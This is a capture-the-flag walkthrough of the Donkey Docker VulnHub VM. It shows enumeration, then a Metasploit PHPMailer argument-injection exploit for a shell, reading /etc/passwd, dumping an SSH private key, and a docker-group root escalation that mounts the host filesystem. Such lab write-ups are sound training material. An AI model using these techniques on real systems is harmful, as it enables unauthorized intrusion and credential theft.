I’m always on the lookout for VulnHub VMs that teach real pentesting skills, and are not just puzzles.  I like them to be practical, and force you to learn techniques that you would use in the real world.  I feel Donkey Docker is one of these challenges.  As always we can begin with an nmap scan:

root@kali:~# nmap 172.16.155.198 -p- -sV -Pn

Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-08-23 21:11 EDT
Nmap scan report for 172.16.155.198
Host is up (0.00010s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
MAC Address: 00:0C:29:A6:D8:2D (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

Not too much to go after, just HTTP and SSH.  Since this version of SSH is relatively current, let’s just stick to HTTP for now.  When you go to the URL you will see a nice little welcome page.  At this point we will spider the application.  You can use multiple tools to do this, but for now we can manually browse as there are only a few pages.  Whenever you visit a page, it is a good idea to inspect it through an HTTP interception proxy or by viewing the source code.  When browsing the “About” page, you will find an interesting HTML comment:

<!-- FIXME!: www-path: /www -->

We will keep this in mind for later.  On the contact page we see a form.  These are usually interesting because they accept data provided by the user.  The functionality seems to be that of a contact form.  To further enumerate this application, we can hit it with dirb.  I recommend this for any web app as it can help find additional functionality.

---- Entering directory: http://172.16.155.198/mailer/ ----

.......

---- Entering directory: http://172.16.155.198/mailer/examples/ ----
+ http://172.16.155.198/mailer/examples/admin.php (CODE:301|SIZE:331)
==> DIRECTORY: http://172.16.155.198/mailer/examples/images/
+ http://172.16.155.198/mailer/examples/index.html (CODE:200|SIZE:6289)

http://172.16.155.198/mailer/examples/index.html returns a HTTP 200 OK.  When we browse to this page, we can see it is for PHPMailer.  After going to Google and searching “phpmailer exploit” or “phpmailer vulnerability” it because clear that this software had some recent flaws.     We can find two recent CVEs, CVE-2016-10033 and CVE-2016-10045.  It’s always nice to get an easy win, so lets query Metasploit for a PHPMailer exploit:

> search phpmailer

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/http/phpmailer_arg_injection 2016-12-26 manual PHPMailer Sendmail Argument Injection
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection

We see two modules.  One of them is for WordPress, and as we have not found any evidence WordPress is running here we will stick to the first one.  We can go ahead and load this module and populate it with the information we know about the application.

msf > use exploit/multi/http/phpmailer_arg_injection
msf exploit(phpmailer_arg_injection) > set targeturi /contact
targeturi => /contact
msf exploit(phpmailer_arg_injection) > set triggeruri /
triggeruri => /
msf exploit(phpmailer_arg_injection) > set web_root /www
web_root => /www
msf exploit(phpmailer_arg_injection) > set RHOST 172.16.155.198
RHOST => 172.16.155.198
  • We set TARGETURI to “/contact” because  that is where the mail form is located.
  • We set TRIGGERURI to / because we are assuming this will upload our file at the base of the web root.  We don’t really have any way of knowing this for sure, but we can take a guess.
  • We set the WEB_ROOT to “/www” based upon the clue we found in the HTML comments.
  • Set The RHOST to whatever IP Donkey Docker is at.

And then we exploit.  Now, depending on when you try this, it may not work.  That is because this Metasploit module originally did not follow re-directs on the trigger URI, which is needed to trigger the payload once uploaded.  I created a pull request for this, perhaps when you are reading this it is merged into the master branch.  If not, you will need to modify a line of code in the module, or hit the URI manually in your browser.  If you need to modify the code, look for the call to “send_request_cgi” and add an exclamation point at the end of the function like so:

res = send_request_cgi!(
'method' => 'GET',
'uri' => trigger_uri
)

After running the exploit you should see something like in this screenshot:

Once we have a shell we can do some basic enumeration.  Lets see what files are on this host:

meterpreter > ls /
Listing: /
==========

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100755/rwxr-xr-x 0 fil 2017-03-26 06:33:43 -0400 .dockerenv
40755/rwxr-xr-x 4096 dir 2017-03-26 06:33:00 -0400 bin
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 boot
40755/rwxr-xr-x 320 dir 2017-08-22 15:46:27 -0400 dev
40755/rwxr-xr-x 4096 dir 2017-03-26 06:33:43 -0400 etc
40755/rwxr-xr-x 4096 dir 2017-03-26 06:33:43 -0400 home
40755/rwxr-xr-x 4096 dir 2017-03-26 06:33:00 -0400 lib
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 lib64
100755/rwxr-xr-x 289 fil 2017-03-26 06:33:05 -0400 main.sh
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 media
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 mnt
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 opt
40555/r-xr-xr-x 0 dir 2017-08-22 15:46:27 -0400 proc
40700/rwx------ 4096 dir 2017-08-22 17:27:24 -0400 root
40755/rwxr-xr-x 4096 dir 2017-03-26 06:33:43 -0400 run
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 sbin
40755/rwxr-xr-x 4096 dir 2017-03-26 06:30:15 -0400 srv
40555/r-xr-xr-x 0 dir 2017-08-22 15:46:27 -0400 sys
41777/rwxrwxrwx 4096 dir 2017-08-23 15:35:17 -0400 tmp
40755/rwxr-xr-x 4096 dir 2017-03-26 06:33:00 -0400 usr
40755/rwxr-xr-x 4096 dir 2017-08-22 15:52:18 -0400 var
40777/rwxrwxrwx 4096 dir 2017-08-23 15:34:16 -0400 www

main.sh is interesting.  Any scripts are usually worth investigating.

meterpreter > cat main.sh
#!/bin/bash

# change permission
chown smith:users /home/smith/flag.txt

# Start apache
source /etc/apache2/envvars
a2enmod rewrite
apachectl -f /etc/apache2/apache2.conf

sleep 3
tail -f /var/log/apache2/*&

# Start our fake smtp server
python -m smtpd -n -c DebuggingServer localhost:25
meterpreter >

This script shows that there is a flag in /home/smith.  Lets take a look at the /etc/passwd file:

meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
smmta:x:104:107:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:105:108:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
smith:x:1000:100::/home/smith:/bin/bash

There is the smith user.  As silly as it may be, for this part of the challenge the password for smith is simply “smith”.  We can switch to the smith user by dropping into a shell and getting a TTY so we can enter a password interactively:

meterpreter > shell
Process 123 created.
Channel 3 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@12081bd067cc:/$ su smith
su smith
Password: smith

smith@12081bd067cc:/$

Now that we have user privileges, lets go ahead and pillage anything useful out of his home directory:

smith@12081bd067cc:~$ ls -lahr
ls -lahr
total 28K
-rw-r--r-- 1 smith users 237 Mar 22 04:47 flag.txt
drwx--S--- 2 smith users 4.0K Mar 22 05:01 .ssh
-rw-r--r-- 1 smith users 675 Nov 5 2016 .profile
-rw-r--r-- 1 smith users 3.5K Nov 5 2016 .bashrc
-rw-r--r-- 1 smith users 220 Nov 5 2016 .bash_logout
drwxr-xr-x 1 root root 4.0K Mar 26 10:33 ..
drwx------ 1 smith users 4.0K Mar 26 10:33 .
smith@12081bd067cc:~$ ls -ahlR .
ls -ahlR .
.:
total 28K
drwx------ 1 smith users 4.0K Mar 26 10:33 .
drwxr-xr-x 1 root root 4.0K Mar 26 10:33 ..
-rw-r--r-- 1 smith users 220 Nov 5 2016 .bash_logout
-rw-r--r-- 1 smith users 3.5K Nov 5 2016 .bashrc
-rw-r--r-- 1 smith users 675 Nov 5 2016 .profile
drwx--S--- 2 smith users 4.0K Mar 22 05:01 .ssh
-rw-r--r-- 1 smith users 237 Mar 22 04:47 flag.txt

./.ssh:
total 20K
drwx--S--- 2 smith users 4.0K Mar 22 05:01 .
drwx------ 1 smith users 4.0K Mar 26 10:33 ..
-rwx------ 1 smith users 101 Mar 22 05:01 authorized_keys
-rwx------ 1 smith users 411 Mar 22 04:48 id_ed25519
-rwx------ 1 smith users 101 Mar 22 04:48 id_ed25519.pub
smith@12081bd067cc:~$

Aside from the flag, there is something interesting in the .ssh folder.  We have what looks like a private and public ssh key.  As we know from out nmap scan, SSH is open this host.

smith@12081bd067cc:~$ cat /home/smith/.ssh/id*
cat /home/smith/.ssh/id*
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAhAQc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHwAAAJhsQyB3bEMg
dwAAAAtzc2gtZWQyNTUxOQAAACAhAQc3H36SyC4F6mO+/s+/wMLKL8/45ITnf9Hw47xKHw
AAAEAeyAfJp42y9KA/K5Q4M33OM5x3NDtKC2IljG4xT+orcCEBBzcffpLILgXqY77+z7/A
wsovz/jkhOd/0fDjvEofAAAAE29yd2VsbEBkb25rZXlkb2NrZXIBAg==
-----END OPENSSH PRIVATE KEY-----
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICEBBzcffpLILgXqY77+z7/Awsovz/jkhOd/0fDjvEof orwell@donkeydocker

As we can see from the public key file, this SSH key can likely be used with the “orwell” user.  Lets go outside of our meterpreter shell and try to SSH in with that private key.  Copy the key over and set the permissions.

root@kali:~# ssh orwell@172.16.155.198 -i donkey
Welcome to

___ _ ___ _
| \ ___ _ _ | |_____ _ _| \ ___ __| |_____ _ _
| |) / _ \ ' \| / / -_) || | |) / _ \/ _| / / -_) '_|
|___/\___/_||_|_\_\___|\_, |___/\___/\__|_\_\___|_|
|__/
Made with <3 v.1.0 - 2017

This is my first boot2root - CTF VM. I hope you enjoy it.
if you run into any issue you can find me on Twitter: @dhn_
or feel free to write me a mail to:

- Email: dhn@zer0-day.pw
- GPG key: 0x2641123C
- GPG fingerprint: 4E3444A11BB780F84B58E8ABA8DD99472641123C

Level: I think the level of this boot2root challange
is hard or intermediate.

Try harder!: If you are confused or frustrated don't forget
that enumeration is the key!

Thanks: Special thanks to @1nternaut for the awesome
CTF VM name!

Feedback: This is my first boot2root - CTF VM, please
give me feedback on how to improve!

Looking forward to the write-ups!

donkeydocker:~$

Now that we are SSH’d into the system, lets attempt to enumerate our current privilege level:

donkeydocker:~$ id
uid=1000(orwell) gid=1000(orwell) groups=101(docker),1000(orwell)

As you may have guessed, this next step may have something to do with Docker, as per the name of the VM. We can go back to Google to get some hints on what to do next.  I Googled “docker privilege escalation” and found this as the first result:

https://fosterelli.co/privilege-escalation-via-docker.html

Here is a select like from the website that is quite useful:

“If you happen to have gotten access to a user-account on a machine, and that user is a member of the ‘docker’ group, running the following command will give you a root shell”

First off we can use the docker container command to see what containers there are.  To learn about the available docker commands, you can always use docker -h to get more info.

donkeydocker:~$ docker container ls

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
12081bd067cc donkeydocker "/main.sh default" 5 months ago Up 24 hours 0.0.0.0:80->80/tcp donkeydocker

We can see that there is a container named “donkeydocker”.  Lets try to execute a command inside that container.

donkeydocker:~$ docker exec
"docker exec" requires at least 2 argument(s).
See 'docker exec --help'.

Usage: docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container
donkeydocker:~$ docker exec --help

Usage: docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container

Options:
-d, --detach Detached mode: run command in the background
--detach-keys string Override the key sequence for detaching a container
-e, --env list Set environment variables (default [])
--help Print usage
-i, --interactive Keep STDIN open even if not attached
--privileged Give extended privileges to the command
-t, --tty Allocate a pseudo-TTY
-u, --user string Username or UID (format: <name|uid>[:<group|gid>])
donkeydocker:~$ docker exec -i -t donkeydocker /bin/bash
root@12081bd067cc:/# id
uid=0(root) gid=0(root) groups=0(root)

We can see by supplying the -i flag for interactive, the -t flag for a TTY, the donkeydocker container name, and a command such as /bin/bash, we can execute a root shell within the container.  It may seem as though we are done at this point, but we have to remember that we are “root” but only within that container.  It would be much better to see what exists outside just this container.  We can do this by mounting another container and using donkeydocker as a template, and mounting the actual root filesyem under “realroot”:

donkeydocker:~$ docker run -d -v /:/realroot donkeydocker
c22a9be3d5419358df72920e42416b0595d9c42bf8e9826d0bcb0fafda737a20
donkeydocker:~$ docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c22a9be3d541 donkeydocker "/main.sh default" 4 seconds ago Up 4 seconds 80/tcp nifty_leavitt

Now we have a new container.  Lets enter a root shell on that container like we did before:

donkeydocker:~$ docker exec -i -t nifty_leavitt /bin/bash
root@c22a9be3d541:/# ls
bin boot dev etc home lib lib64 main.sh media mnt opt proc realroot root run sbin srv sys tmp usr var www
root@c22a9be3d541:/# cd realroot/
root@c22a9be3d541:/realroot# ls -lah
total 77K
drwxr-xr-x 21 root root 4.0K Mar 21 15:16 .
drwxr-xr-x 1 root root 4.0K Aug 23 20:54 ..
drwxr-xr-x 2 root root 4.0K Mar 26 10:22 bin
drwxr-xr-x 3 root root 1.0K Mar 21 21:17 boot
drwxr-xr-x 11 root root 3.0K Aug 23 20:45 dev
drwxr-xr-x 28 root root 4.0K Aug 23 20:45 etc
drwxr-xr-x 3 root root 4.0K Mar 22 04:44 home
drwxr-xr-x 7 root root 4.0K Mar 26 10:22 lib
drwx------ 2 root root 16K Mar 21 15:15 lost+found
drwxr-xr-x 5 root root 4.0K Mar 21 15:15 media
drwxr-xr-x 2 root root 4.0K Mar 21 15:15 mnt
dr-xr-xr-x 158 root dip 0 Aug 23 20:44 proc
drwx------ 3 root root 4.0K Mar 26 10:39 root
drwxr-xr-x 6 root root 340 Aug 23 20:45 run
drwxr-xr-x 2 root root 4.0K Mar 26 10:22 sbin
drwxr-xr-x 2 root root 4.0K Mar 21 15:15 srv
drwxr-xr-x 2 root root 4.0K Mar 21 15:16 swap
dr-xr-xr-x 13 root root 0 Aug 23 20:49 sys
drwxrwxrwt 4 root root 4.0K Aug 23 20:45 tmp
drwxr-xr-x 8 root root 4.0K Mar 24 22:57 usr
drwxr-xr-x 11 root root 4.0K Mar 24 22:57 var
root@c22a9be3d541:/realroot#

And now we can see everything., including the final flag at /realroot/root/flag.txt.